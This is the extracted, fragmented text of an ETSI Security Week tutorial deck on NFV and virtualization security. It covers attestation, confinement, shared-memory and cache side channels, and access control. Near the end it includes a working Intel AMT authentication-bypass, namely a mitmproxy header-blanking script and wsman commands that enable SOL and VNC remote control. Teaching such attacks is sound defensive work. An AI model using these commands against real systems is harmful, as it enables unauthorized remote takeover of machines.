Before we begin…..The information in this presentation is provided "as is" and no guarantee or warranty is given that this information is suitable for any particular purpose. The user thereof uses the information at their own risk.

All trademarks and registered trademarks are the property of their respective owners.

We are recording the presentation today via GotoMeeting. However if questions are asked they may be included in the recording, if you do not wish to have a question included, please let us know and it will be edited out.

ETSI SECURITY WEEK -NFV SECURITY TUTORIAL

Michael Lazar – DataArt Solutions Inc

Matt Carus – National Cyber Security Centre

Michael.Lazar@dataart.com

Agenda• Welcome and Objectives of the Day

• Session 1: NFV Security• Coffee and Networking Break

• Session 2: Building a good foundation for NFV Security• Session 3: Software Issues

• Networking Lunch• Session 4 : Security management and monitoring principles

• Coffee break and Set up for Capture the Flag Exercise• Session 5: Hands on Capture the Flag Exercise

• Wrap up of the Day• Cocktail Receptions

20 Global Locations:NYCLondonSwitzerland

DataArt’s Core Offers• Controlling Costs via Managed Services • Building New Products and Services• Modernizing and Re-engineering Legacy systems• Consulting on New Technology Approaches

Providing On-Demand IT

DataArt: Global Technology Consultancy

Inoperation20 years

Consultants&engineers2200+

StaffTurnover<7%

Returnclients95%

DevelopmentHours20+ million

Successfullycompletedprojects

1600+

GermanyEastern EuropeLatin America

Finance Betting and Gaming

Telecom Media & Entertainment

IoT Healthcare & Life Sciences

Travel & Hospitality

The NCSC was set up to help protect our critical services from cyber attacks, managing major incidents and improve the underlying security of the UK Internet through technological improvement and advice to citizens and organisations. Our vision is to help make the UK the safest place to live and do business online.

National Cyber Security Centre

THENETWORKFUNCTIONVIRTUALIZATION(NFV)”PROMISE”

Service Providers want to make their networks agile and efficient to meet the challenges of exponential bandwidth demands and be able to create revenue streams with innovative services and new business models.

Network Function Virtualization (NFV) and Software Defined Networking (SDN) has emerged as the paradigm that has the potential to transform these the industry by delivering cloud style agility and innovation and enhancing economic viability.

By 2020 SNS Research estimates that SDN and NFV can enable service providers (both wireline and wireless) to save up to $32 Billion in annual CapEx investments

ACG Research estimates that NFV will reduce capital expenditure by 68% and reduce operating expenditure by 67%

VIRTUALIZATIONANDSECURITY§Security is and always will be a cat-and-

mouse game

§Tradeoffs between performance and security may need to made but the impact should be understood

§ Low level security provides a foundation to build on

§Some remediation techniques can add significant management burdens

§Virtualization brings unique security issues that may not be apparent until everything is put together (fully functional system)

§SECURITY IS EQUAL PARTS PROCESS, PEOPLE AND TECHNOLOGY –Technology alone is never the answerImage - Eric Isselée

SESSION1

• NFV Security - This session will introduce and cover security considerations specific to virtualized and NFV environments including: • Shared resources• Timekeeping• Attack vectors unique to virtualization

VIRTUALIZATION– THE‘ROOT’OFTHEISSUE

The (vast) majority of todays commercial physical compute resources and operating systems fundamentally work off of a implicit trust model. To be more explicit, there is trust between the hardware subsystems and kernel operations. Even when zero trust models are implemented in user space, todays kernels (and kernel variants) rely on implicit trust to function.

Virtualization attack vectors have become more sophisticated focusing on virtual machine attacks (break out), hypervisor attacks (blue pill), side channel and compromised hardware (malicious hardware). These are not hypothetical attacks

Over the last years several hardwareandsoftwaretechnologies have been made available, including VT-d, Authenticated boot, Trusted Platform Modules (TPM), Trusted boot (tboot), SELinux, sVirt, AppArmor, OAT SDK (remote attestation toolkit) and Trusted Execution Technology (TXT) to make platforms more secure.

Additional technologies are available or emerging including TrustZone (ARM/AMD) and Software Guard Extensions (Intel SGX).

Security models in a virtualized environment are different from legacy environments. • In non-virtualized implementations, the existing execution

model between hardware and software made sense. • With virtualization, this may not be the case. Previously

physically isolated functions may now co-exist on an underlying hypervisor (or cluster of hypervisors).

• In the event of a successful virtual machine attack, there is a real possibility that the hypervisor itself may be compromised thereby putting virtual functions that reside on a single or clustered hypervisors.

• Furthermore, pushing ‘functions to the edge’ with virtualization also brings new security challenges, remote sites can now run VNFs that present an attack vector into the core of the network, e.g. vEPC components at remote locations are now a potential attack vector.

• There is also a difficult balance between performance and security to be maintained. Some packet acceleration technologies require removal of some defenses, e.g. confinement (SELinux, AppArmon, etc.) which can lower the barrier to particular types of VNF (VM) or hypervisor attacks

Challenges in adopting Network Function Virtualization (NFV)

NFV- ACHANGEFROMDISCRETECOMPONENTSTOSHAREDRESOURCES

ClassicalNetworkApplianceApproach

Fragmented non-commodity hardware.Physical installer per appliance per site.Hardware development large barrier to entry for new vendors, constraining innovation & competition.

NetworkVirtualizationApproach

Commercial off the shelf hardware (COTS)Open / Standardized APIs (Communication)Open Source being investigated as a viable alternativeTraditional OEM and WhiteBox manufactures

ETSINFVREFERENCEARCHITECTURE

Execution Reference Points Other Reference Points Main NFV Reference Points

Areas we will be focusing on today

VM1 VM2 VM3

Physical Memory Hash: … 06afVM: 3PPN: 43f8MPN: 123b

hint frame

hashtable

011010110101010111101100

hash pages contents … 2bd806af

WHATISSHAREDMEMORY?

WHATISVCPU/CPUSHARING?

14VeloxumCorporation– Donotdistributewithoutwrittenauthorization.

Example - each machine has 1vCPU

At a given moment (t) the HOSTAllows a machine to “run” for aset amount of time (time slice)

Machines not running are in the queue.

IMPORTANT:Machines in the queue do not “know” they are not running

TIMEKEEPING

• Why is timekeeping important ?• Authentication • Billing• Logging of events / order of events / root cause analysis• Transactional coherence• Legal and Regulatory Requirements

TIMEKEEPINGMETHODS

XEN – slop variable (timer_slop) that allows merging of the timer events (polled collection into single interrupt) can be modified

VMWARE – ParaVirtual Clock + VM Guest Agent & Host NTP (varies by guest OS)

KVM – Locked Memory page – host updates memory page

Hyper-V TimeSync – new in 2016 (untested) – claims improvement allows Hyper-V windows guests to stay with-in 10µs of the host with an RMS, (Root Mean Squared, which indicates variance), of 50µs, even on a machine with %75 load.

TIMEKEEPINGMETHODS

•Coordination is required between host and guests

•Operating Systems (Hypervisor choice matters)

•Disk I/O can have an unexpected impact on timing accuracy (blocking IO)

•Over subscription (over allocating memory or CPUs can have an impact)

As an example: Location Services100 nano seconds (ns) accuracy implies an area of 1365 M^2

SHAREDVMDISKI/OIMPACTONTIMEKEEPING

• C = The latency (in ms) of executing user level code plus all system level code excluding disk I/O operations. This system code includes networking operations, memory management and other system calls.

• S = The latency (in ms) of executing system level code to perform disk I/O operations plus time spent in the process ready queue.

• L = The latency (in ms) of the actual disk I/O operation.

• T = the sum of the previous three quantities and represents the time taken by a single thread to execute one transaction.

Timekeeping

SHAREDNETWORKING

• Multiple technologies exist within virtualization for “virtual networking”

• The choice bring tradeoffs between manageability / performance and security

Scenario #1

VNFC VNFC

Hypervisor

Host

HW Switch

CPU

RAM

Scenario #2

VNFC VNFC

Hypervisor

Host

vSwitch

CPU

RAM

Scenario #3

VNFC VNFC

Hypervisor

Host

vSwitch(DPDK)

CPU

RAM

Scenario #6

VNFC VNFC

Hypervisor

Host

CPU

RAM

Scenario #5

VNFC(DPDK)

VNFC(DPDK)

Hypervisor

Host

CPU

RAMeSwitch

(SR-IOV DPDK)NIC

Scenario #4

VNFC VNFC

Hypervisor

Host

CPU

RAMeSwitch(SR-IOV)

NIC

SOFTWAREDEFINEDNETWORKING(SDN)

Today the signaling, control and data networks are frequently separate.

When virtualized, this become very difficult to do – hence the rise of SDN – an overlay that allows separation of traffic at the logical level.

Think of SDN as VLAN on steroids! 4092 SDN can now be much easier to deploy and manage (in theory).

SESSION2

Building a good foundation for NFV Security - This session will provide an overview of Attestation, hardware security devices, hardware security enclaves as well as software confinement technologies including:

• Root of Trust• Trusted Platform Modules• Trusted Execution and TrustZone• Using commercial off the shelf components (COTS)• Attestation, Remote Attestation and "Secure Booting"• Software Confinement (e.g. SELinux)

CHAINOFTRUST– ATTESTATIONISDESIGNEDTOPRODUCEASECUREROOTOFTRUST

Consider that entity A launches entity B, then B launches C.

A measures B then passes control to BB measures C and passes control to C

The question now becomes "who measures A?”

The CoreRootofTrustforMeasurement(CRTM) is the BIOS boot block code. This piece of code is considered trustworthy. It reliably measures integrity value of other

Attestation is the means by which a trusted computer assures a remote computer of its trustworthy status.

WHATISATRUSTEDPLATFORMMODULE(V1.2SHOWN)

NeededforCoreRootofTrustMeasurement

TPM+TXT– WHATISMEASURED(VERIFIED)?

SIMPLIFIEDVIEWOFTRUSTEDEXECUTIONTECHNOLOGY(TXT)

TXTmakesTPMUseful

REMOTEATTESTATIONPROTOCOLOVERVIEW(TPMV1.2)

REMOTEATTESTATIONARCHITECTURE– OVERVIEW

SOFTWARECONFINEMENT(SELINUX/APPARMOR)

A system for Mandatory Access Control (MAC) based on the Linux Security Modules (LSM) framework

Uses features of role-based and domain-type access control

Tracks user identity through all operations

At the kernel level - Prevents applications from accessing memory or resources they are not permitted to,

Power On

Static / Dynamic Measurement

Physical System Verified

Trusted Boot Loader (e.g. tboot)

Kernel Loading

Hypervisor Enablement

Data Partitions

Monitoring

Verify Workload Integrity

TEE

Clear TPM PCR

Confinement Technologies (e.g. SELinux)

Confinement Technologies (e.g. sVirt)

Measurement Attestation

EXAMPLEOFSIMPLIFIEDBOOTSCHEMEDIAGRAMGETTINGTOATRUSTEDEXECUTIONENVIRONMENT(TEE)

HARDWAREMEDIATEDEXECUTIONENCLAVE(HMEE)

1– Applicationstarts2– ApplicationrequeststhecreationofanEnclave3– Atrustedcallisusedtocreatedsecureenvironment4– Encrypteddataandapplicationinstructionsareloadedintotheenclave5- Theenclavesecurelyoperatesonthedata6– theenclavereturnsdesiresoutputtotheuntrustedapplication

NOTEtheunderlyingoperatingsystemandhypervisorDONOTHAVEAccesstotheenclave

SESSION3

• This session will build up on the previous session and discuss the software issues that impact virtualized security including:

• Enhanced Packet Processing concerns• Open Source concerns• Software Defined Networking and overlay networks

ENHANCEDPACKETPROCESSINGCONCERNS

• Linux networking is frequently considered “slow” so enhanced packet processing was introduced• Open vSwitch (OVS) is a commonly used networking system in OpenStack (OPNFV)

• A common platform for softwware enhanced processing is DPDK (Data Plane Development Kit)

DPDK can deliver over a 10X performance improvement

ENHANCEDPACKETPROCESSINGCONCERNS

ovs-switchd

NIC

DPDK Libraries

PMD

DPDKnetdev

ovs kernel module

qemu

VMvirtio

kernel packetprocessing

User Space Forwarding

socketTAP

netdev

User Space

External

SDN Controller

ovsdb OF

ovsdb server

ovs-switchd

qemu

VMvirtio

IVSHEM vHost

qemu

VM

shmemDPDK

Tunnels

Kernel Space

DPDK acvices high speed processing by moving networking functions into user space

However, the change requires that software confinement technologies be disabled or severely weakend

SDN– DYNAMICSEPARATIONOFDATAANDCONTROL

OPENSOURCE

• More than 70,000 organizations made nearly 8 billion requests for open source components from repository last year for use in all the major categories of applications, including the web, cloud, mobile and critical infrastructure.

• Open Source has both good and bad attributes• Is commercial support available• Just because its open source do not assume its secure or has been

reviewed for security• HeartBleed (OpenSSL Vulnerability)

SESSION4

Security management and monitoring principle - This session discussion issues with the establishment of trust in a multi-layer and multi-administrator environments and will introduce the concept of Attribute Based Access Control (ABAC)

MULTIPLEADMINISTRATIVEDOMAINSCENARIO

Without a MANO architecture supporting the multi-domain scenario, it is not practical to design a security management system for multi-domain, as we’re not sure which MANO entities can be used to support security management (in case additional functional blocks are required in MANO).

Key Management becomes exponentially more complex

Tenant Domain (Telecom Service Provider)

Infra Domain (Infrastructure Service Provider)

ACCESSCONTROL

Traditional Multi-Organizational Access Method

ACCESSCONTROL

Attribute-based access control (ABAC) defines an access control paradigm whereby access rights are granted to users through the use of policies which combine attributes together. The policies can use any type of attributes (user attributes, resource attributes, object, environment attributes etc.). This model supports Boolean logic, in which rules contain "IF, THEN" statements about who is making the request, the resource, and the action. For example: IF the requestor is a manager, THEN allow read/write access to sensitive data.

ATTRIBUTE-BASEDACCESSCONTROL(ABAC)

Although the concept itself existed for many years, ABAC is considered "next generation" authorization model because it provides dynamic, context-aware and risk-intelligent access control to resources allowing access control policies that include specific attributes from many different information systems to be defined to resolve an authorization and achieve an efficient regulatory compliance, allowing enterprises flexibility in their implementations based on their existing infrastructures.

ACCESSCONTROL

Unlike role-based access control (RBAC), which employs pre-defined roles that carry a specific set of privileges associated with them and to which subjects are assigned, the key difference with ABAC is the concept of policies that express a complex Boolean rule set that can evaluate many different attributes. Attribute values can be set-valued or atomic-valued. Set-valued attributes contain more than one atomic value. Examples are role and project. Atomic-valued attributes contain only one atomic value. Examples are clearance and sensitivity. Attributes can be compared to static values or to one another, thus enabling relation-based access control.

ATTRIBUTE-BASEDACCESSCONTROL(ABAC)

Basic ABAC Scenarios

VULNERABILITIESEXPLANATIONANDDEMOS

TIMEKEEPINGMETHODS

XEN – slop variable (timer_slop) that allows merging of the timer events (polled collection into single interrupt) can be modified

VMWARE – ParaVirtual Clock + VM Guest Agent & Host NTP (varies by guest OS)

KVM – Locked Memory page – host updates memory page

Hyper-V TimeSync – new in 2016 (untested) – claims improvement allows Hyper-V windows guests to stay with-in 10µs of the host with an RMS, (Root Mean Squared, which indicates variance), of 50µs, even on a machine with %75 load.

VM1 VM2 VM3

Machine Memory

hashtable

Hash: … 06afRefs: 2MPN: 123b

shared frame

SHAREDMEMORY– AHYPERVISORSVIEWOFGUESTS

SHAREDMEMORY– AHYPERVISORSVIEWOFGUESTS

46VeloxumCorporation– Donotdistributewithoutwrittenauthorization.

VM’s host memory usage <= VM’s guest memory size + VM’s overhead memory

PE File Format on Disk PE File Format in Memory

0x5a4d

ImageBase: 0x180000000

DOS Header

COFF Header

Section Table

[Code & Data]

Optional Header

0x5a4d

ImageBase: 0x7f9ffaa0000

DOS Header

COFF Header

4096 bytes1st page of DLL in memory

RandomizedDLL base address,19 bits of entropy

AWINDOWSPROGRAMLAYOUTINMEMORY(SAMPLE)

Address-Space Layout Randomization (ASLR) is used with Data Execution Prevention (DEP) to prevent malicious code execution.

Attacker VM Victim VM

0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000

1st page ntdll.dll:0x7f9ffaa0000

ntdll.dll

Attacker VM memory when attacking a another guest – identify a shared memory page

By matching a memory code page to another guest – you can “break” Memory Randomization inNeighbor machines. Shared memory should be disabled.

Memory

Merged

VMM

SHAREDMEMORYSTARTSTOINTRODUCENEWISSUES

Attacker VM: T Attacker VM: T + t

0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000

0x7f9ffa700000x7f9ffa800000x7f9ffa900000x7f9ffaa00000x7f9ffab0000

sleep (t)

Clock cycles:

363229266734

Attacker VM: T + t Clock cycles:

[random][random]

0x7f9ffaa0000[random][random]

28322428223134281245565114213

0x7f9ffa90000[random]

[random]0x7f9ffab0000

[random]

Move over buffer and touch paged

Write time affected by noise

Figure: Attacker VM memory during filtering

If detection rate is greater than 95%, we add a safety Attacker VM memory during verification

SHAREDMEMORYSTARTSTOINTRODUCENEWISSUES

When shared memory is allowed to be used (cloud / NFV), it becomes possible to ”break” ASLR in other VMs by intentionally looking for shared memory in your own VM. This does not require any type of privilege escalation or exploit of a “bug”.

Discover common cache sets by just readingfrom process’ own memory space!

Timing based – Sending Covert messages via shared cache

Sender

L3 cache set

L3 cache set

Receiver

Sender’s address space

(mmap)

Reciever’saddress space

(mmap)

Timing based – Discover cache access latency

RAM access is slow, cache access is fast

Read and measure access time

Fast? '0'!• No one else accesses this cache set

Slow? '1'!• Someone else accesses this cache set

False positives possible but communication proved to be stable even under load

Covert messages - How '0' and '1' are transferred

Covert Messages - Sending

Sender ReceiverLast-level cache

Cache Set #1

Cache Set #2

Cache Set #3

Cache Set #4

Cache Set #5

Cache Set #6

Cache Set #7

Cache Set #8

0

1

0

0

1

0

0

0

evict

evict

Covert Messages - Receiving

Sender ReceiverLast-level cache

Cache Set #1

Cache Set #2

Cache Set #3

Cache Set #4

Cache Set #5

Cache Set #6

Cache Set #7

Cache Set #8

0

1

0

0

1

0

0

0

measure

measure

measure

measure

measure

measure

measure

measure

0

1

0

0

1

0

0

0

8 covert channels means 8 virtual 'bits'

Reading from channel sets bit

Sender• For '1' — read from corresponding channels

Receiver• Read channels in a loop until getting 4 of '1'

Covert Messages - Communication protocol

70 bit patterns of 4 bits set + 4 unset• 01001101 → 4 bits set, 4 unset

Why 4+4?• Most patterns, e.g. for 3+5 there are only 56

70 patterns → 64 for data, 6 for commands• 64 for data → 6 bits of data could be transferred

Data encoded and packed into packets

Hypervisor does not see it! (nothing sees it – this is an undetectable method to exchange messages)

Covert Messages - Encoding

Covert Messages - Transparent to hypervisor (everything)

VM1

Process 1 Process N Sender Process

Covert Channel

VM2

ReceiverProcess Process 1 Process N

Covert Channel

Hypervisor

Last Level Cache (LLC)

Prime + Probe Prime + Probe

Covert Messaging – How does it work? Prime + Probe

Covert Messaging – How does it work? Prime + Probe

Covert Messaging – How does it work? Prime + Probe

Covert Messaging – How does it work? Prime + Probe

Scan

Determine vulnerable machines with enabled digest authentication

Login

Bypass Authorization header and gain access to AMT Dashboard and API

Escalate

Inject malicious user or change admin credentials

Expose

Enable VNC and SOL

Control

Full access to remote machines

Intel AMT / ME Vulnerabilities

Enabling SOL# apt-get install wsmancli

# wsman put http://intel.com/wbem/wscim/1/amt-schema/1/AMT_RedirectionService -h ${IP} -P

16992 -u admin -p IDontKnowThePassworD -k ListenerEnabled=true --proxy $PROXY

MITM Proxy script (cve.py)from mitmproxy import http, ctx

import re

def request(flow: http.HTTPFlow) -> None: if 'authorization' in flow.request.headers:

header = flow.request.headers['authorization'] header = re.sub(r'response="[^"]+"', 'response=""', header)

ctx.log.info('modified {}'.format(header)) flow.request.headers['authorization'] = header

ENABLING VNC

$ sudo apt-get install wsmancli$ export http_proxy=127.0.0.1:8080

$ IP=172.16.0.1$ VNC_PASSWORD="PaS5w-rd"

$ IPS_KVMRedirectionSettingData="http://intel.com/wbem/wscim/1/ips-schema/1/IPS_KVMRedirectionSettingData"

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k RFBPassword=$VNC_PASSWORD

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k Is5900PortEnabled=true$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k SessionTimeout=0

$ wsman put $IPS_KVMRedirectionSettingData -h $IP -P 16992 -u admin -p x -k OptInPolicy=false$ wsman invoke -a RequestStateChange \

http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_KVMRedirectionSAP \ -h $IP -P 16992 -u admin -p x -k RequestedState=2

SIMPLIFIEDTELCOARCHITECTURE– REFERENCE

REFERENCES

IBM Trusted Computing for Linux http://www.research.ibm.com/gsal/tcpa/TCFL-TPM_intro.pdf

Intel TXT overviewhttp://www.intel.com/content/dam/www/public/us/en/documents/white-papers/trusted-execution-technology-security-paper.pdf

Attacking TXT via SNIT - (exploits are old but the detailed explanation is valuable)http://invisiblethingslab.com/resources/2011/Attacking_Intel_TXT_via_SINIT_hijacking.pdf

Security Enhanced Linux (NSA)https://www.nsa.gov/research/selinux/

sVirt – SELinux mandatory access controls with the virtualization componentshttp://namei.org/presentations/svirt-lca-2009.pdf

Hardening the virtualization layerhttp://docs.openstack.org/security-guide/compute/hardening-the-virtualization-layers.html

Building the infrastructure for Cloud Security (entire book is open access)http://link.springer.com/book/10.1007/978-1-4302-6146-9

Open Attestation Toolkit (SDK) (Used in Trusted Compute Pools / Remote Attestation)https://01.org/openattestation

Intel Software Guard Extensionshttp://www.pdl.cmu.edu/SDI/2013/slides/rozas-SGX.pdf

ARM TrustZone (have partnership with AMD)http://www.arm.com/products/processors/technologies/trustzone/index.php

REFERENCES

• Clémentine Maurice, Manuel Weber, Michael Schwarz, Lukas Giner, Daniel Gruss, Carlo Alberto Boano, Stefan Mangard, Kay Römer, “Hello from the Other Side: SSH over Robust Cache Covert Channels in the Cloud”. https://www.blackhat.com/docs/asia-17/materials/asia-17-Schwarz-Hello-From-The-Other-Side-SSH-Over-Robust-Cache-Covert-Channels-In-The-Cloud.pdf

• F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee, “Last-Level Cache Side-Channel Attacks are Practical”.

• D. A. Osvik, A. Shamir, and E. Tromer, “Cache attacks and countermeasures: the case of AES”.

• A Barres, K Razavi , M Payer, T Gross, “CAIN: Silently Breaking ASLR in the Cloud” https://www.usenix.org/system/files/conference/woot15/woot15-paper-barresi.pdf

• I Skochinsky, “Hidden code in your chipset and how to discover what exactly it does” https://recon.cx/2014/slides/Recon%202014%20Skochinsky.pdf

• Intel-SA-00075 https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr